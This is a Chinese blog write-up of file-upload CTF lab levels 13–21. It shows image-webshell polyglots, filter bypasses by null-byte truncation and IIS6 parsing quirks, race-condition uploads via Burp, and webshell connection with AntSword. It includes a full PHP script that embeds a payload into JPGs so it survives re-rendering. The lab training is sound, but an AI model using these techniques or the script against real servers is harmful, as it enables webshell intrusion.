loading...
文件上传靶场二(13-21关)
Published in:2021-12-06 | category: CTF | 靶场

Pass-13(图片马绕过)

本关开始为图片关,需要配合文件包含运行木马语句
还是老样子,查看下源码

该关卡检测头文件的2个字节,也就是检测图片的类型,结合白名单得知上传文件只限于jpg,png和gif的图片格式
1、通过cmd命令合并图片马
copy a.jpg/b + b.php/a test.jpg
将木马写入正常图片中

2、观察代码没有进行对后缀名的过滤,也可以发送php文件,用bp抓包,加入对应图片类型的头文件。
上传图片后复制图片的地址,找到文件包含的php页面

GET方法传参数file=图片路径即可成功执行php代码

Pass-14(getimagesize图片类型绕过)

14关也是同样的图片马关,本关使用了getimagesize()函数,该函数的作用是用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息。这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。思路也跟上一关大致相同,不过这个需要构建图片马,因为该函数已经对后缀名限制是图片格式,不然该函数不会执行对应的功能。

Pass-15(php_exif模块图片类型绕过)

该函数功能是读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 false。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
老方法,合成一张图片马,上传,执行php语句。

Pass-16(二次渲染)

二次渲染意为上传一张图片后,将图片重新绘制,一般用于论坛等平台设置头像等压缩图的位置。观察代码

可以看到该关对MIME和文件后缀都做了过滤限制,下面没截到的是png和gif
解题思路还是做一张图片马
gif情况

上传后重新在服务器下载回来,打开16进制编辑器(一般我使用时010editor),查看压缩图删除的代码和原图片比对,再重新将php语句放到删除的代码前面即可
png情况比较麻烦,不过多阐述
jpg情况
使用国外大牛的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

保存为upload.php
在网上找一张jpg图片上传服务器后下载下来保存为1.jpg,利用命令

1
php upload.php 1.jpg


上传新图片重新下载比对与原来的位置插入的php语句一样。
注意:有时候的jpg图片不能成功执行,需要多尝试几张。

Pass-17(条件竞争)

一般来说,在服务器中若有并发状态,上传的文件即使遇到过滤也不会被删除。利用了服务器在使用、更改该文件等操作,使得文件无法被删除从而执行恶意代码。留下shell后该文件也就完成了它的任务。
查看源码

可以看到如果不通过,则使用unlink函数删除该文件
此时我们需要准备bp制作两个脚本,一个是发送文件脚本,一个是访问文件脚本
1、上传test.php,并放入intruder模块

里面可以写入生成shell的脚本

设置payload
选择agent里不变的变量


2、访问文件地址,设置payload

设置nullpayload

线程最好调高一点,我调的是50

可以发现长度有所变化,证明我们已经执行了php的代码

Pass-18(条件竞争二)

查看源码


是白名单限制,可以上传一个test.php.7z文件,里面写一个生成shell语句。apache允许多后缀,且从右往左开始解析。通过发包,使得服务器来不及rename,连接新生成的木马文件。

Pass-19(move_uploaded_file()截断)

本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file遇到\x00字符后会截断路径名。
查看源码

方法一
抓包,并修改文件名,改为upload-19.php%00.jpg绕过黑名单限制,又因为这个是POST方法,所以需要将%00解码,解码操作已在前面几关演示过。

最后成功上传

方法二
图片马+文件包含,为?sava_name=图片马的路径
方法三
若服务器为window,还可以在test.php后加一个.空格,到目标服务器上会识别该文件后缀为点空格,window会自动删除点空格,最后解析为php文件

Pass-20(IIS6.0解析漏洞(一))

查看源码

有白名单
再随便上传一个文件,访问错误的路径

发现是IIS,可以利用相关的IIS漏洞
写一个一句话木马的asp文件

上传抓包

将test.asp修改为test.asp;.png,该做法为的是过白名单限制

获得文件路径后,用蚁剑连接

成功连接,该文件为刚刚上传的asp木马

Pass-21(IIS6.0解析漏洞(二))

本关在上一关的基础上加入了MIME判断
只需在抓包数据那里,将content-type里改成image/png等MIME格式,成功执行asp木马


该文件则为刚刚上传的文件

Prev:
XSS靶场实战一(1-10关)
Next:
文件上传靶场记录一(1-12关)
catalog
catalog